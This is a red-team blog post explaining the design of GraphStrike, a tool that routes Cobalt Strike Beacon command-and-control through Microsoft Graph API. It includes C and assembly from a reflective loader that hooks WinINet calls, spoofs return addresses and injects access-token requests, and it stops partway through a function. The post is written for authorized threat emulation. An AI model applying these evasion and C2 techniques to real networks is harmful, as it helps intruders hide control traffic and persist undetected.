GraphStrike: Anatomy of Offensive Tool Development

By Red Siege | January 22, 2024

By: Alex Reid, Current Red Siege Intern

Introduction

This blog post accompanies the release of an open source tool called GraphStrike which can be found here.

Those familiar with my prior work will know that I’m not one to skimp on the details when I publish a project and its documentation. I do this in hopes of “re-investing” in the offensive cyber community after having benefited so much myself from many of the great contributors out there. To this end, I thought it might be useful for new or aspiring offensive developers to have a peek behind the curtain when it comes to the design theory and development process of my latest public tool, GraphStrike. This is the longest blog post I’ve written by a country mile; abandon all hope, ye who enter here.

 

It All Starts with an Idea

Most of my projects have stemmed from a tweet I saw or a random thought I had. In this case, the story starts a year and a half ago when I happened to find Bobby Cooke’s Azure Outlook C2 project, which uses Microsoft Graph API for C2 by editing Microsoft Outlook email drafts. Graph API provides methods for accessing and manipulating data within the Microsoft ecosystem, and is utilized by sending requests to graph.microsoft.com. This includes things like Microsoft Teams messages, SharePoint and OneDrive files, Outlook emails, as well as Azure data regarding users, groups, and applications. Also, as a heavy Cobalt Strike user, I decided it would be really cool if I could marry the two concepts and find a way to use Graph API with Cobalt Strike Beacons.

 

But Is It Worth Pursuing?

At this juncture a couple of important questions need to be asked:

The first is, “while it would be super cool to use Beacon over Graph API, would this capability:

A. Offer an appreciable tradecraft advantage over other less complicated methods, or

B. Be uniquely representative of a threat actor?”

The second is, “does a tool already exist that does what I am proposing, and if so would my tool bring something meaningfully different to the table?”

Starting with the first question, does this present an appreciable improvement in tradecraft and/or is it uniquely representative of a threat actor?

When I first dug into this concept I greenlit it on the basis of the tradecraft advantage it provides alone. Being able to route C2 traffic to a microsoft.com domain provides huge advantages when it comes to network egress filtering and detection. In light of threat intel that has been released in the intervening time, the project actually hits both wickets. Several different malware families attributed to named APT’s have been observed using Graph API for C2:

  1. BLUELIGHT – APT37/InkySquid/ScarCruft

  2. Graphite – APT28/Fancy Bear

  3. Graphican – APT15/Nickel/The Flea

  4. SiestaGraph – UNKNOWN

As red teamers we are in the business of, and need to be very concerned with, providing threat representative effects during operations. Of course there is a reason that they are called ‘Advanced Persistent Threats’; many (but not all, 2023 still saw lots of ‘whoami.exe’ in real breaches) of the tools and techniques used by these groups are proprietary, for which detection capabilities are not nearly as available or mature as they are for things like Cobalt Strike or any of the other readily used C2’s. This can make it difficult for red teams to replicate these techniques, and deprives defenders of a chance to observe and develop signatures for this kind of activity. Any tool that stands to make advanced techniques more available to authorized red teamers is a huge win.

Pivoting to the second question, does a tool already exist that does what I am proposing, and if so would my tool bring something meaningfully different to the table”

While there is definitely value to be had in porting existing tooling to different languages or formats, the projects that get me really excited are the ones where I would be creating something tangibly new or unique.

A year and a half ago I kind of missed the forest for the trees. I honed in on Microsoft Teams as the medium I wanted to use for C2 traffic and lost sight of the underlying Graph API part. I couldn’t find any public projects using Teams for Cobalt Strike C2, but when considering Graph API at large, WithSecure has long had their C3 project which includes an option to use OneDrive files for Cobalt Strike C2. At the end of the day, whether it is a Teams message or a OneDrive file, it’s all being done with Graph API. That being said, just because something has been done before doesn’t mean there isn’t room on the stage for other tools that offer meaningful improvements.

Ultimately, my first swing at this concept took the form of a to-spec Cobalt Strike External C2 that used Graph API to send Beacon traffic via Teams messages. I never released it publicly, but did present it at a conference. It was a fun project but also proved to be very complicated to design and maintain, doubly so because it involved writing a custom implant in position-independent C to communicate between the Cobalt Strike SMB Beacon and Graph API.

This brings us to something that cannot be overstated and one of the chief reason why I revisited this idea later: with offensive tooling, there is a big difference between something that technically “works”, and something that is reliable, repeatable, and easily deployable. My earlier project was the former; GraphStrike seeks to be the latter, alleviating as many of the headaches and challenges surrounding setup and deployment of a capability like this as possible.

From an architectural standpoint, the meaningful difference between my first attempt at this concept and the second is that rather than following the External C2 specification (which uses a custom implant, SMB Beacon, and presents a fairly high barrier for entry), GraphStrike provides the ability to use Graph API through HTTPS Beacons. This design choice removes the need for an entire separate implant that must be developed, maintained, and deployed alongside an SMB Beacon on target.

 

Initial Research

It is at this point that we should take a moment to better understand Graph API and how we will be trying to use it. Using Graph API requires that you have a Microsoft Azure tenant, and that you register a new Azure app within it. Azure apps can be assigned many different API permissions which are required in different combinations in order to use the various methods available within Graph API. For example, the get driveItem method requires the following permissions depending on the ‘Permission Type’:

Permission type

Least privileged permissions

Higher privileged permissions

Delegated (work or school account)

Files.Read

Files.ReadWrite, Files.Read.All, Files.ReadWrite.All, Group.Read.All, Group.ReadWrite.All, Sites.Read.All, Sites.ReadWrite.All

Delegated (personal Microsoft account)

Files.Read

Files.ReadWrite, Files.Read.All, Files.ReadWrite.All

Application

Files.Read.All

Files.ReadWrite.All, Group.Read.All, Group.ReadWrite.All, Sites.Read.All, Sites.ReadWrite.All

Delegated permissions are used in workflows where users are able to sign into an app and use its assigned permissions to make requests on behalf of the user. For this project we can keep it simple and just use ‘Application’ permissions, where the app itself is the ‘user’ that performs all of the actions in question. To that end, if we want to use the ‘get driveItem’ method within Graph, we need to create an app and assign it at LEAST the ‘Files.Read.All’ permission.

After an app has been created it must be assigned a client secret. This is in effect the app’s password, and will be used to retrieve access tokens which are required to actually use any of the Graph API methods. These access tokens have a lifetime of 1 hour, after which the client secret must be reused in order to fetch a new valid access token.

It is also worth exploring what the communications model for C2 using Graph API might look like. Using any third party service, Graph API or otherwise, for C2 introduces added complexity. For reference, consider the two images below whose quality are upsettingly unrepresentative of how long I spent in Paint 3D making them:

 

Normal Cobalt Strike HTTPS Communication Model

Normal Cobalt Strike HTTPS Communication Model

GraphStrike HTTPS Communication Model

GraphStrike HTTPS Communication Model

The top image shows how normal Cobalt Strike (and most any other C2 for that matter) HTTPS traffic is communicated. Beacon calls out to a IP or domain specified in the Cobalt Strike listener, which then routes the GET and POST requests back to the Cobalt Strike Team Server (TS). You ARE using a redirector and not hosting your TS publicly right? The TS responds to the request, which is then routed back through the redirector to Beacon. Easy peasy.

The GraphStrike communications model is more complex. Beacon traffic no longer reaches all the way through to the TS, but instead stops at Microsoft servers. From Beacon’s perspective, Graph API server responses are the TS replying to Beacon’s http-get and http-post requests. Similarly on the TS side, we need to now reach out to Microsoft servers in order to upload new TS tasking and to fetch Beacon output. This requirement is fulfilled by a Python3 server, referred to hereafter as the GraphStrike server. This server makes HTTPS GET and POST requests to both Microsoft servers as well as the TS, serving as a bridge to manipulate and transform Cobalt Strike data as required in order to provide functionality and compatibility with Graph API.

Sadly what normally takes one HTTPS transaction now requires three, and as a fun follow on effect we are now dealing with an asynchronous connection; when a command is issued by the TS, it must first be uploaded to Microsoft servers where it will then be found by Beacon at some point in the future. Similarly when Beacon issues a http-post to send tasking output to the TS, it is uploaded to Microsoft servers where it must later be retrieved by the GraphStrike server. This additional latency between when tasking is retrieved from the TS and when Beacon actually acts on it is unfortunately just the nature of async C2 via third party services.

 

Assessing Blockers and Determining Viability

Just because an idea is worth pursuing doesn’t mean that it will make it to maturity. After more than one occasion where I poured tens of hours into an idea only to later encounter a project-ending blocker, I have made it a point to try and map out the critical details of a project and ensure I can envision a solution that works before I spend much time doing any actual coding. This brings with it a ton of Google searching and documentation reading as I try to piece it together. I am a huge fan of whiteboards (or MS Paint in a pinch) to visualize a project and all of its moving pieces, and on more than one occasion have had someone send me this meme after seeing mine:

https://knowyourmeme.com/photos/2546187-pepe-silvia

https://knowyourmeme.com/photos/2546187-pepe-silvia

Having learned a bit more about Graph API and C2 via third party services, I identified several critical blockers that needed to be addressed before the project could be considered viable:

  1. Graph API requires an access token be used with all requests, and this token expires hourly. Cobalt Strike Beacons do not support changes to their request headers during runtime.

  2. Fetching a new access token requires making a web request to a different domain (login.microsoft.com instead of graph.microsoft.com). While Cobalt Strike does support specifying multiple domains to be used by a listener (and in 4.9 even supports per-domain customization of traffic) it does not offer the functionality to ‘store’ a value retrieved by a request for later use.

  3. Some combination of Graph API calls must be identified that are compatible with Beacon’s http-get and http-post cycles. Beacon normally connects to the TS to retrieve tasking and to send output; now it needs to retrieve tasking from some Microsoft data storage mechanism accessible via Graph API and to upload output via a similar method as well.

Bottom line, if I can’t identify means of addressing each and every one, the project is dead before it even really starts.

 

Rotating Access Tokens

The first make-or-break challenge to tackle concerns the Microsoft access tokens that are required to use Graph API. As mentioned these tokens expire hourly, at which point a new one must be fetched by connecting to login.microsoft.com.

In thinking about how to address this, I first thought about creating an Aggressor script integration that would fetch an access token and then patch it into a Beacon when one is generated through the Cobalt Strike client. This would provide at least the initial access token required for Beacon to communicate with Graph API. For retrieving all subsequent access tokens, I envisioned using a BOF to locate the initial access token within the Beacon processes memory and replace it with a new one sent from the TS on a regular interval.

This approach presents several problems. First and foremost, retrieving and patching an initial access token into Beacon when it is generated puts a timer on how long that Beacon is viable for; imagine a scenario where you host a payload and send out a phishing email, but 6 hours pass before the victim downloads and executes your Beacon. Given that the tokens expire after one hour, Beacon would be unable to use Graph API. Ignoring that problem, trying to locate the old access token within Beacon’s memory and patch in a new one that may differ in length isn’t an idea I viewed as particularly attractive or viable either.

 

Requests to Multiple Domains

Updating Beacon’s request headers to include a new access token as time goes on is one piece of the puzzle, but actually retrieving the new access tokens is another entirely. With the issues discussed above in mind, getting Beacon to fetch access tokens itself really seemed like the smart direction to go. This would involve Beacon making HTTPS requests to login.microsoft.com in order to retrieve new access tokens, as well as HTTPS requests to graph.microsoft.com for actual C2 communications.

As briefly mentioned earlier Cobalt Strike does support multiple hosts for a listener; what’s more, it now also supports multiple HTTP Host Profiles, or per-hostname request customization within the malleable profile. Using these capabilities, I could define separate host profiles for login.microsoft.com and graph.microsoft.com which would satisfy the requirement for using different headers, parameters, and URI’s depending on the host that Beacon calls out to.

This sounds promising, but closer scrutiny reveals additional problems. For instance, Cobalt Strike listeners only support basic host rotation strategies. There is no mechanism wherein Beacon can be instructed to call login.microsoft.com in certain instances and graph.microsoft.com in others. Furthermore even if there was, Beacon doesn’t support storing a value returned by the server for later use, and it would try to parse the response containing the new access token as if it were a message from the TS. It doesn’t appear there is any straight forward way to address this problem.

 

Identifying Compatible Graph API Methods

There are hundreds of different Graph API methods, ranging from those that create new calendar events to ones used to retrieve security logs. In assessing which methods might be a good fit for C2 purposes, it is important to consider the volume of data that might be transmitted in various situations. Most commands that are issued in Cobalt Strike are relatively small, with things like ‘ps’ or ‘ls’ sending something in the neighborhood of 48 bytes to Beacon when it checks in for tasking. Other scenarios like trying to run tooling through Beacon might involved transmitting several MB worth of data during a single check-in, so it is vital that whichever Graph API methods we select support the entire range of usage scenarios.

As an example, in the ‘Personal Contacts’ section of Graph API there is a method to create a new contact; to determine the viability of using contacts for data transmission, we need to look at what values are contained within a contact structure. Helpfully, the Graph API documentation includes examples of each method’s usage, where we can get an idea of what kind of data is stored in a given object:

POST https://graph.microsoft.com/v1.0/me/contacts
Content-type: application/json

{
  "givenName": "Pavel",
  "surname": "Bansky",
  "emailAddresses": [
    {
      "address": "pavelb@fabrikam.onmicrosoft.com",
      "name": "Pavel Bansky"
    }
  ],
  "businessPhones": [
    "+1 732 555 0102"
  ]
}
In this case the fields seem rather limited; none of them look like good candidates for storing any significant amount of data.

It’s worth taking a closer look at the real world examples of Graph API malware that were listed at the start of this article. Interestingly most of them use a common set of Graph API methods: those related to OneDrive and SharePoint file management. Unsurprisingly, the most relevant ones are the Upload and the Download methods. The Upload method is described as follows:

Provide the contents of a new file or update the contents of an existing file in a single API call. This method only supports files up to 250 MB in size.

This certainly sounds like it will meet our needs. Beacon sends large output in 512KB chunks, so even if we wanted to download a 5GB file, it will be done in pieces far below the Upload method’s 250MB-per-request limit. Taking a look at the example shows a very simple method, but one with a glaring problem:

PUT /me/drive/root:/FolderA/FileB.txt:/content
Content-Type: text/plain

The contents of the file goes here.

The Upload method uses the HTTP PUT verb. While the Cobalt Strike profile allows the user to customize the verb that is used in http-get and http-post transactions (so one could if they wanted have a ‘GET only’ profile), the only actually supported methods are ‘GET’ and ‘POST’. Running the Cobalt Strike profile linter, c2lint, demonstrates this.

‘PUT’ Method is Incompatible with Cobalt Strike Profiles

‘PUT’ Method is Incompatible with Cobalt Strike Profiles

Even if the PUT method was supported by Cobalt Strike, it’s difficult to envision a working solution that would support more than one Beacon at a time. The URI that Beacon calls to is set in the profile, which means that each Beacon that is generated will attempt to call out to the same place. Normally, the TS is able to distinguish one Beacon from another by looking at the metadata that is sent with http-gets and the session ID that is sent with Beacon http-posts.

By introducing an actual hard ‘stop’ where Beacon data (tasking or output) is at rest somewhere before it is picked up by the other party, this Beacon identifying information is lost and must be communicated some other way. To address this, some means by which to manipulate the URI of a Beacon will be necessary in order to ensure that each Beacon has their own ‘storage’ within the third party service so that multi-Beacon support can be offered by GraphStrike.

Taken together, we now have a sizeable list of reasons why this idea might not be viable. The base CobaltStrike product just isn’t flexible enough to support all of the deviations from normal HTTPS C2 methodology. This doesn’t mean the dream is dead, just that we need to go deeper.

 

Open Source Tooling to the Rescue

Looking at these blockers collectively, the common requirement I identified is that I need some method of manipulating Beacon’s behavior during runtime. This led me to finally look at Cobalt Strike User-Defined Reflective Loaders (UDRLs). UDRLs provide operators the opportunity to modify how Beacon is actually loaded into memory. Crucially, it offers operators the ability to execute additional code within the process before Beacon is actually executed/calls out for the first time. Several different UDRLs are available publicly, but I focused in on Kyle Avery’s AceLdr after noticing this in the project’s README:

Certain WinAPI calls are executed with a spoofed return address (InternetConnectA, NtWaitForSingleObject, RtlAllocateHeap).

Taking a look at the code, I found that there were custom defined functions for each of the API’s mentioned:

SECTION( D ) HINTERNET InternetConnectA_Hook( HINTERNET hInternet, 
                                               LPCSTR lpszServerName, 
                                               INTERNET_PORT nServerPort, 
                                               LPCSTR lpszUserName, 
                                               LPCSTR lpszPassword, 
                                               DWORD dwService, 
                                               DWORD dwFlags, 
                                               DWORD_PTR dwContext )
{
    API     Api;
    PPEB    Peb;
    HANDLE  hNet;
    ULONG   Size;

    RtlSecureZeroMemory( &Api, sizeof( Api ) );

    Peb = NtCurrentTeb()->ProcessEnvironmentBlock;
    hNet = FindModule( H_LIB_WININET, Peb, &Size );

    Api.net.InternetConnectA = FindFunction( hNet, H_API_INTERNETCONNECTA );

    return ( HINTERNET )SPOOF( Api.net.InternetConnectA, 
                                hNet, 
                                Size, 
                                hInternet, 
                                C_PTR( lpszServerName ), 
                                C_PTR( U_PTR( nServerPort ) ), 
                                C_PTR( lpszUserName ), 
                                C_PTR( lpszPassword ), 
                                C_PTR( U_PTR ( dwService ) ), 
                                C_PTR( U_PTR( dwFlags ) ), 
                                C_PTR( U_PTR( dwContext ) ) );
};

Notably, the InternetConnectA_Hook function defined above takes the exact same parameters that the real Windows API InternetConnectA does.

AceLdr performs Import Address Table (IAT) hooking, wherein certain API’s (like InternetConnectA) memory addresses are overwritten within the Beacon processes Import Address Table (IAT) and replaced with the address of a corresponding custom function. The IAT may be likened to a table of contents or index in a book, where different chapters are listed alongside the page that they start on. With IAT hooking, we are effectively changing the page number (memory address) that is associated with a chapter (API). The result is that when one of the hooked API’s is called, the IAT returns the address of AceLdr’s equivalent user-defined function instead of the real one within a Microsoft DLL, and that custom function is executed instead. For most of the API’s hooked by AceLdr, all the custom functions do is call the real API (resolved manually instead of using the IAT) with the SPOOF macro in order to implement return address spoofing.

Return address spoofing, while cool and very valuable in its own right when it comes to evasion, isn’t really relevant to the task at hand. What is very relevant is the ability to intercept an API call, run some user-defined code, and then patch execution back to the real API called by the process. This grants us the ability to intercept and change parameters that were sent by Beacon before we call the real API, and opens the door to:

  1. Making web requests outside of Beacon’s normal communication cycle in order to fetch new access tokens

  2. Storing and rotating access tokens in memory

  3. Modifying the headers provided by Beacon for a request to include the current access token

  4. Changing the verb used by Beacon to PUT so that it might support using the Graph API file methods

Critically, AceLdr provides a working framework from which I can customize in order to satisfy the requirements identified for GraphStrike.

 

Some notes on AceLdr and UDRLs.

The discovery of AceLdr pushes this idea past the identified blockers into the realm of viability. We have identified a way to run arbitrary code both before Beacon executes (via the UDRL) as well as throughout Beacon’s lifecycle (via hooked functions that are set up by the UDRL), but before we dive into the specifics of how to leverage those abilities for GraphStrike we should take a closer look at some relevant parts of AceLdr and how they affect this project. The Cobalt Strike team released a great blog that covers some of the fundamental theory and design behind UDRL’s that I would highly encourage readers to check out.

One of the fun extra burdens that comes with UDRL development is that the code must be written to be position independent; this places limitations on the normal use of the Windows and C API as well as the use of global variables and standard strings. AceLdr uses a neat trick with a few macros to enable normal string use, but we still must manually create functions pointers for any API’s we want to use in our code. AceLdr does this with a function called ‘resolveAceFunctions’, which looks like this:

SECTION( B ) NTSTATUS resolveAceFunctions( PAPI pApi )
{
    PPEB    Peb;
    HANDLE  hNtdll;

    Peb = NtCurrentTeb()->ProcessEnvironmentBlock;
    hNtdll = FindModule( H_LIB_NTDLL, Peb, NULL );
    
    if( !hNtdll )
    {
        return -1;
    };

    pApi->ntdll.NtGetContextThread  = FindFunction( hNtdll, H_API_NTGETCONTEXTTHREAD );
    pApi->ntdll.NtSetContextThread  = FindFunction( hNtdll, H_API_NTSETCONTEXTTHREAD );
    pApi->ntdll.NtResumeThread      = FindFunction( hNtdll, H_API_NTRESUMETHREAD );
    pApi->ntdll.RtlUserThreadStart  = FindFunction( hNtdll, H_API_RTLUSERTHREADSTART );
    pApi->ntdll.RtlCreateUserThread = FindFunction( hNtdll, H_API_RTLCREATEUSERTHREAD );

    if( !pApi->ntdll.NtGetContextThread ||
        !pApi->ntdll.NtSetContextThread ||
        !pApi->ntdll.NtResumeThread     ||
        !pApi->ntdll.RtlUserThreadStart ||
        !pApi->ntdll.RtlCreateUserThread )
    {
        return -1;
    };

    return STATUS_SUCCESS;
};

Here AceLdr uses some helper functions like ‘FindModule’ and ‘FindFunction’ in order to resolve the memory addresses for several different API’s within NTDLL. These addresses are combined with type definitions within the PAPI struct (which was passed into resolveAceFunctions as a parameter) in order to create function pointers which may be used later. This can be seen in the ‘createBeaconThread’ function, which uses the ‘RtlCreateUserThread’ function pointer:

SECTION( B ) NTSTATUS createBeaconThread( PAPI pApi, PHANDLE thread )
{
    BOOL Suspended = TRUE;
    PVOID StartAddress = C_PTR( pApi->ntdll.RtlUserThreadStart + 0x21 );

    return pApi->ntdll.RtlCreateUserThread( ( HANDLE )-1, NULL, Suspended, 0, 0, 0, ( PUSER_THREAD_START_ROUTINE )StartAddress, NULL, thread, NULL );
};

This methodology for resolving API’s is used in each of AceLdr’s custom functions (like InternetConnectA_Hook shown earlier).

 

Technical Design

With some basics concerning AceLdr and UDRL’s covered, it’s time to figure out how to make this work in GraphStrike. Note that for the remainder of this article the UDRL portion of GraphStrike will be referred to as GraphLdr; AceLdr is still the underlying heart and soul, but it will undergo significant enough transformation to warrant its own distinguishing name.

Several subsections related to the technical design details of GraphStrike are broken out below. I tried to go in some kind of “order”, but understand that a lot of these pieces are inherently tied together and influenced by each other so it’s difficult to write in a true linear fashion. Also note that any code snippets included represent the “working” code found in the final product; that is to say, the early versions of this project were far less refined or efficient than what you see here.

 

Replacing Global Variables

Before digging too far into the technical weeds there is some groundwork that needs to be done. There are a number of values that must be tracked throughout Beacon’s lifetime in order to control the behavior of GraphStrike’s components. These variables are used by various functions within different source files, so a global variable is really the right tool for the job. It was only briefly mentioned but writing position independent code imposes limitations in this regard. This has to do with the specific section within a Windows Portable Executable (PE) that global variables are stored in, which is not included in the final GraphLdr UDRL.

Another issue that was alluded to is that any function within GraphLdr that wants to use Windows or C APIs must manually resolve them first. This includes the custom API hook functions. Something to consider is how often these functions are called; for example, Beacon calls InternetConnectA_Hook each time it makes a new http-get or http-post request, so if a Beacon’s sleep time is set to one second, the hooked function is called at least 60 times per minute. Each and every time, InternetConnectA_Hook must call the helper functions mentioned earlier in order to resolve the API’s it needs, which seems horribly inefficient.

The solution to both of these problems lies in a technique that has made its way into a couple of my tools at this point: creating a custom struct on the heap that contains the required variables, and then storing the memory address of that struct for later retrieval and use by various functions. Within this struct we can store function pointers for every Windows or C API that we will use throughout the entirety of GraphLdr, as well as the additional individual variables use to control GraphStrike’s behavior. This struct is shown below:

struct MemAddrs {
    struct {
        struct
        {
            D_API( RtlAllocateHeap );
            D_API( NtWaitForSingleObject );
            HANDLE hNtdll;
            ULONG size;
        } ntdll;

        struct
        {
            D_API( InternetConnectA );
            D_API( HttpOpenRequestA );
            D_API( HttpSendRequestA );
            D_API( InternetReadFile );
            D_API( InternetCloseHandle );
            HANDLE hNet;
            ULONG size;
        } net;

        struct
        {
            D_API( GetLastError );
            D_API( SetLastError );
            D_API( QueryPerformanceCounter );
            D_API( QueryPerformanceFrequency );
            D_API( Sleep );
        } k32;

        struct
        {
            D_API ( strlen );
            D_API ( strstr );
            D_API ( strcpy );
            D_API ( strcmp );
            D_API ( isdigit );            
            D_API ( sprintf );
            D_API ( memset );
            D_API ( malloc );
            D_API ( calloc );
            D_API ( memcpy );
            D_API ( free );
            D_API ( tolower );
        } msvcrt;

        struct
        {
            D_API( MessageBoxA );
        } user32;
    } Api, *pApi;

    BOOL            graphStrike;
    HINTERNET       hInternet;
    BOOL            firstGet;
    BOOL            firstPost;
    BOOL            activeGet;
    BOOL            readTasking;
    LONGLONG        lastTokenTime;
    char*           metaData;
    PVOID           httpGetUri;
    PVOID           httpPostUri;
    PVOID           httpPostCheckSizeUrl;
    PVOID           httpGetHeaders;
    PVOID           httpPostHeaders;
    PVOID           httpGetHeadersLen;
    PVOID           httpPostHeadersLen;             
};

Storing the memory address of this critical structure is where it gets interesting. In past projects I have passed the address of this struct back and forth between the Beacon and the TS, using Cobalt Strike’s Aggressor language to store and then send the address back to Beacon with a BOF whenever I need it. This strategy isn’t viable in this case (nor is it particularly elegant to begin with) because Beacon needs the address readily accessible throughout its lifecycle. A past colleague showed me how Windows Atom Tables could be used to store and then later retrieve the address on demand, but this technique still leaves something to be desired in this case because the API’s to interact with Atoms still require manual resolution each and every time.

The technique that eventually made it into GraphLdr is one that was new to me, and one that I only divined by looking through AceLdr’s various source files and putting some pieces together. I noticed in one of the .asm files a set of assembly instructions defined as Stub. It is also declared as GLOBAL so that it is accessible externally:

[BITS 64]

GLOBAL GetIp
GLOBAL Stub

[SECTION .text$C]

Stub:
    dq 0
    dq 0
    dq 0

... Trimmed for Brevity ...

Then in the primary header file for the project (‘include.h’), a struct STUB, *PSTUB is defined and an extern declaration is also made for the Stub variable. Capitalization matters in this case; the extern declaration refers to the Stub section of the asm, not the STUB, *PSTUB struct:

... Trimmed for Brevity ...

typedef struct __attribute__(( packed ))
{
    ULONG_PTR Region;
    ULONG_PTR Size;
    HANDLE Heap;
} STUB, *PSTUB ;

... Trimmed for Brevity ...

extern ULONG_PTR Stub( VOID );

... Trimmed for Brevity ...

In the primary source file (‘ace.c’), the Stub variable is cast to the PSTUB type and populated with some data:

SECTION( B ) VOID fillStub( PVOID buffer, HANDLE heap, SIZE_T region )
{
    PSTUB Stub = ( PSTUB )buffer;

    Stub->Region = U_PTR( buffer );
    Stub->Size = U_PTR( region );
    Stub->Heap = heap;
};

Later in a completely separate source file (‘delay.c’), the Stub variable is accessed using the OFFSET macro and its members are used to populate a local structure:

SECTION( D ) VOID Sleep_Hook( DWORD dwMilliseconds )
{
    API Api;
    RtlSecureZeroMemory( &Api, sizeof( Api ) );

    Api.CFG = 0;
    Api.dwMilliseconds = dwMilliseconds;
    Api.Buffer = C_PTR( ( ( PSTUB ) OFFSET( Stub ) )->Region );
    Api.Length = U_PTR( ( ( PSTUB ) OFFSET( Stub ) )->Size );

    ... Trimmed for Brevity ...
};

Taken in combination, this looks an awful lot like AceLdr creating a “global” variable by reserving memory in the asm file and then later populating it and referencing it throughout the code. Even though I don’t have a very good understanding of what is really happening at the compiler and binary level, I had enough pattern recognition skills to recreate this technique for my own purposes.

I created an additional entry MemAddr within the asm file and declared it as global:

[BITS 64]

GLOBAL GetIp
GLOBAL Stub
GLOBAL MemAddr

[SECTION .text$C]

Stub:
    dq 0
    dq 0
    dq 0

MemAddr:
    dq 0

... Trimmed for Brevity ...

I then made a new structure MEMADDR, *PMEMADDR in the header file and declared MemAddr as extern:

typedef struct __attribute__(( packed )) {
    PVOID* address;
} MEMADDR, *PMEMADDR;

extern ULONG_PTR MemAddr( VOID );

In GraphLdr’s entry point within ‘gs.c’, I then allocated memory for the MemAddrs structure (the large one shown earlier with all of the function pointers and variables) as pMemAddrs and assigned some variables. The ‘resolveGraphStrikeFunctions’ method was called to populate the function pointers within pMemAddrs so that the required Windows and C API calls may be used, and finally a pointer to pMemAddrs was assigned to the MemAddr variable that resides in the asm:

        ... Trimmed for Brevity ...
        
        // Create MemAddr struct to contain important values for GraphStrike
        struct MemAddrs *pMemAddrs  = Api.msvcrt.malloc(sizeof(struct MemAddrs));
        Api.msvcrt.memset(pMemAddrs, 0, sizeof(struct MemAddrs));
        pMemAddrs->graphStrike = (BOOL) U_PTR ( NULL );
        pMemAddrs->firstGet = TRUE;
        pMemAddrs->firstPost = TRUE;
        pMemAddrs->readTasking = FALSE;        
        pMemAddrs->lastTokenTime = 0;

        // Resolve GraphStrike functions for later use
        resolveGraphStrikeFunctions(&Api, pMemAddrs);

        // Store pointer to pMemAddrs for later reference
        ((PMEMADDR)MemAddr)->address = (PVOID*)&pMemAddrs;  
        
        ... Trimmed for Brevity ...

Later in any function that I want to use values from pMemAddrs in, I simply dereference the pointer stored in MemAddr as seen in line 4:

SECTION( D ) HINTERNET InternetConnectA_Hook( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext )
{
    // Resolve API's
    struct MemAddrs* pMemAddrs = *(struct MemAddrs**)((PMEMADDR) OFFSET ( MemAddr ) )->address;

    // Only do this the first time through this function to check if this is actually a GraphStrike Beacon as opposed to a regular Beacon created with GraphStrike loaded
    if (pMemAddrs->graphStrike == (BOOL) U_PTR( NULL ))
    {
        // Convert lpszServerName to lowercase just in case
        char* serverCopy = (char *)pMemAddrs->Api.msvcrt.calloc(pMemAddrs->Api.msvcrt.strlen(lpszServerName) + 1, sizeof(char));
    
    ... Trimmed for Brevity ...
}

This final evolution came very late in GraphStrike’s development (as I was writing this section of the blog post!) but presents a very nice and handy solution that I anticipate also using in the future on other projects.

Identifying Beacon Communication API’s

With the ability to hook API’s and carry variables across different functions figured out, the next task is to figure out which API’s we need to be concerned with hooking in the first place. The recent v4.9 release of Cobalt Strike saw support for the WinHTTP library added as an option for Beacon. Beacon has traditionally used the WinINet library (and it remains the default) for web requests, so I decided it made sense to target this library for GraphStrike support. Extending support to the WinHTTP library is entirely possible as well, but that is a task for another day.

Having identified the library that Beacon uses for communications, we need to take a deeper look at the specific API’s that are called by Beacon during that process. The general flow of WinINet functions that we are concerned with, as well as their utility for our purposes, is summarized below:

Api

Description

InternetConnectA

Opens a handle to a specific site (e.g. https://graph.microsoft.com ). This API call is where we specify that the HTTPS protocol should be used.

HttpOpenRequestA

Opens a handle to specific URI on a site using a handle returned by InternetConnectA. In this call the request verb (GET, POST, etc) and URI (e.g. ‘/me/drive/root:/FolderA/FileB.txt:/content’) are specified.

HttpSendRequestA

Sends an actual request using the handle returned by HttpOpenRequestA. The request headers and request body(optional) are specified here.

InternetReadFile

Reads data returned by a server from request using the handle returned by HttpOpenRequestA.

Just from the brief descriptions of these API’s one can start to see opportunities to manipulate Beacon’s behavior. For example by hooking HttpOpenRequestA we could manipulate the verb that is used in order to make a PUT request instead of a POST. Similarly, in HttpSendRequestA we can manipulate the request headers used by Beacon in order to send a valid access token with the request.

Another thing worth noting is that Beacon calls these API’s in order; each http-get or http-post cycle begins with a call to InternetConnectA, followed by calls to HttpOpenRequestA, HttpSendRequestA, and then (if the server returns output) a call to InternetReadFile. This enables us to logically correlate these API calls, meaning that that if Beacon calls HttpSendRequestA I know that it is done on the heels of a prior call to HttpOpenRequestA, and that both of these calls are part of the same http-get or http-post cycle within Beacon.

 

Web Request Inception

One of the requirements identified earlier is that we need Beacon to be able to fetch it’s own access tokens. As discussed, this presents some challenges seeing as they are retrieved from login.microsoft.com, and Beacon is programmed to call out to graph.microsoft.com by the listener. Having established that we can run arbitrary code in a hooked function, I wondered if it was possible for me to make a completely separate web request… while in the middle of making a web request. I had no technical reason to think I wouldn’t be able to, but I decided I needed to validate this capability quickly as it is hugely important to GraphStrike’s success.

Fetching an Access Token During Beacon’s Http-Get Cycle

Fetching an Access Token During Beacon’s Http-Get Cycle

In essence, when Beacon begins its http-get cycle and calls the four WinINet API’s we mentioned, in one of the hooked functions I wanted to go make an entirely separate web request to login.microsoft.com in order to retrieve an access token. In looking at where I should try and implement this, I saw that HttpOpenRequestA takes the URI of Beacon’s http-get request as a parameter. This URI needs to reference a unique file in SharePoint that we are going to access using Graph API. We need an access token to use Graph API, so by necessity we need to try to make this ‘out of band’ web request here.

I put together a function ‘MakeWebRequest’ to facilitate the use of this technique elsewhere in the project:

SECTION( D ) LPVOID MakeWebRequest(HANDLE hInternet, 
                                    PVOID site, 
                                    PVOID uri, 
                                    PVOID verb, 
                                    PVOID headers, 
                                    PVOID content, 
                                    struct MemAddrs* pMemAddrs)
{
    LPVOID lpResult = NULL;

    // Connect to site
    HINTERNET hSite = ( HINTERNET )SPOOF( pMemAddrs->Api.net.InternetConnectA, 
                                           pMemAddrs->Api.net.hNet, 
                                           pMemAddrs->Api.net.size, 
                                           hInternet, 
                                           site, 
                                           C_PTR( U_PTR( INTERNET_DEFAULT_HTTPS_PORT ) ), 
                                           NULL, 
                                           NULL, 
                                           C_PTR( U_PTR( INTERNET_SERVICE_HTTP ) ), 
                                           0, 
                                           C_PTR( U_PTR( (DWORD_PTR)NULL ) ) );

    if (hSite)
    {
        // Create http request 
        LPCSTR acceptTypes[] = { C_PTR ( OFFSET ( "*/*" ) ), NULL };
